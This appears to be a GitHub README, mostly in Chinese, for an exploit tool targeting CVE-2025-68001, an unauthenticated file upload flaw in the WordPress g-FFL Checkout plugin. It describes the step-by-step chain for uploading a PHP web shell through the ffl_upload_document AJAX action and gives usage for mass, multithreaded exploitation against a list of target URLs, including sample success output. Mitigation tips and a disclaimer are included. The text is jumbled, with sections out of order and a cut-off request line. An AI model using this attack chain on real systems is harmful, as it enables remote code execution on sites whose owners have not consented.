Nxploited/CVE-2025-68001
GitHub: Nxploited/CVE-2025-68001
针对 g-FFL Checkout 插件的未认证任意文件上传漏洞,提供可复现的利用脚本与自动化验证方案。
Stars: 0 | Forks: 0
# CVE-2025-68001
WordPress g-FFL Checkout Plugin <= 2.1.0 存在高优先级任意文件上传漏洞
document_type=document
document=
↓
Server stores the file without extension or MIME validation
3. Parse JSON response
↓
Extract uploaded file path / unique filename
4. Access uploaded shell via HTTP
↓
Remote Code Execution achieved ✔️
```
该插件暴露了一个 AJAX 端点 `ffl_upload_document`,它:
- 接受文件上传且无认证检查
- 未执行服务器端文件类型验证
- 在 JSON 响应中返回存储的文件路径
## 🔧 依赖要求
运行前请安装所有依赖:
```
pip install requests rich
```
| 依赖 | 用途 |
|------|------|
| `requests` | HTTP 请求与会话管理 |
| `rich` | 终端 UI、进度条与面板 |
| `threading` | 多线程目标处理 |
## 📂 文件结构
```
CVE-2025-68001/
├── CVE-2025-68001.py # Main exploit script
├── shell.php # Web shell to upload (you provide this)
├── list.txt # Target URLs (one per line)
└── success_results.txt # Auto-generated results output
```
## 🚀 使用方法
### 步骤 1 — 准备目标列表
创建 `list.txt` 文件,每行一个目标 URL:
```
https://target1.com
https://target2.com
http://target3.com/wordpress
```
### 步骤 2 — 准备 Web Shell
将 PHP Web Shell 放置在同一目录。示例最小 Shell:
```
```
将其保存为 `shell.php`(或任意名称,系统会提示你输入)。
### 步骤 3 — 运行利用脚本
```
python CVE-2025-68001.py
```
系统会交互式提示你:
```
Enter targets file name (default: list.txt):
> list.txt
Enter shell file name to upload (default: shell.php):
> shell.php
Enter number of threads (default: 50):
> 20
```
### 步骤 4 — 查看结果
成功利用的结果会自动保存到 `success_results.txt`:
```
https://target.com | /wp-content/uploads/ffl/abc123.php | abc123.php | shell.php
```
每行包含:
- 目标 URL
- 服务器上的存储文件路径
- 服务器分配的唯一文件名
- 原始上传文件名
## 🖥️ 脚本参数参考
| 提示项 | 默认值 | 说明 |
|--------|--------|------|
| 目标文件 | `list.txt` | 包含目标 URL 的文件 |
| Shell 文件 | `shell.php` | 要上传到目标的 PHP Shell |
| 线程数 | `50` | 并发工作线程(最大:50) |
## 📊 输出示例
```
✔ https://victim.com — /checkout reachable. Trying exploit...
┌─────────────────────────────────────────────────────┐
│ Success │
│ https://victim.com │
│ Original Name: shell.php │
│ Unique Name: a7f3c1d9e.php │
│ Stored Path: /wp-content/uploads/ffl/a7f3c1.php │
└─────────────────────────────────────────────────────┘
All targets processed ✔️. Results saved to: success_results.txt
```
## 🔍 漏洞代码路径(技术细节)
漏洞存在于插件未进行能力检查的 AJAX 处理器中:
```
// No authentication or capability check
add_action('wp_ajax_nopriv_ffl_upload_document', 'ffl_upload_document');
function ffl_upload_document() {
// Nonce verified from /checkout page (publicly accessible)
// No MIME type validation
// No extension whitelist/blacklist
move_uploaded_file($_FILES['document']['tmp_name'], $upload_path);
wp_send_json_success(['file_path' => $upload_path]);
}
```
## 🛡️ 缓解与修复
如果你是一个 **网站所有者或开发者**,请立即采取以下措施:
- ✅ **更新** `g-ffl-checkout` 插件至已修复版本(> 2.1.0),如果可用
- ✅ **禁用** 该插件直到确认修复
- ✅ **限制** 上传目录的执行权限(例如使用 `.htaccess` 规则)
- ✅ **实施** 服务器端文件类型验证和严格的扩展白名单
- ✅ **监控** 上传目录中的可疑 `.php` 文件
- ✅ **启用 WAF** 规则以阻止未认证的 AJAX 文件上传请求
## ⚠️ 免责声明
```
THIS TOOL IS PROVIDED STRICTLY FOR EDUCATIONAL AND AUTHORIZED
SECURITY RESEARCH PURPOSES ONLY.
By using this script, you explicitly agree to the following:
• You have EXPLICIT written permission from the target system owner.
• You are operating in a controlled lab or authorized penetration testing engagement.
• You will NOT use this tool against any system you do not own or have legal
authorization to test.
• The author (Nxploited) holds ZERO liability for any damage, data loss,
legal consequences, or misuse resulting from this tool.
Unauthorized use of this tool against systems without permission is ILLEGAL
and may violate laws including but not limited to:
— Computer Fraud and Abuse Act (CFAA)
— EU Directive on Attacks Against Information Systems
— And equivalent laws in your jurisdiction.
USE RESPONSIBLY. HACK ETHICALLY.
```
## 👤 作者
```
_ _ _ _ _ _ _ _ _ _
/ \ / |_ __ ) / \ ) |_ __ |_ (_) / \ / \ /|
\_ \/ |_ /_ \_/ /_ _) |_) (_) \_/ \_/ |
```
## 📋 概述
**CVE-2025-68001** 是在 **g-FFL Checkout** WordPress 插件中发现的严重 **未认证任意文件上传** 漏洞,由 **garidium** 披露。
该漏洞允许未认证的攻击者通过 `ffl_upload_document` AJAX 操作上传任意文件(包括 Web Shell)到目标服务器,导致 **完整远程代码执行(RCE)**。
| 字段 | 说明 |
|------|------|
| **CVE ID** | CVE-2025-68001 |
| **插件** | g-FFL Checkout (`g-ffl-checkout`) |
| **受影响版本** | `n/a` 到 `<= 2.1.0` |
| **漏洞类型** | 未限制的文件上传 |
| **影响** | 远程代码执行(RCE) |
| **认证要求** | 不需要 |
| **CVSS 严重性** | 严重 |
| **研究者** | Nxploited |
## ⚙️ 工作原理
利用遵循精确的多步骤攻击链:
```
1. GET /checkout
↓
Extract `checkout_nonce` from inline JavaScript data
2. POST /wp-admin/admin-ajax.php
action=ffl_upload_document
nonce=
| | |
|---|---|
| **Handle** | Nxploited |
| **Telegram** | [@KNxploited](https://t.me/KNxploited) |
| **GitHub** | [github.com/Nxploited](https://github.com/Nxploited) |
由 Nxploited 精心构建 · 仅供教育用途
标签:Checkout, CISA项目, CVE-2025-68001, g-FFL Checkout, IP 地址批量处理, RCE, SEO, Web安全, WordPress, 任意文件上传, 后端安全, 威胁模拟, 插件, 文件上传漏洞, 无服务器架构, 未认证上传, 电子商务, 编程工具, 蓝队分析, 远程代码执行, 逆向工具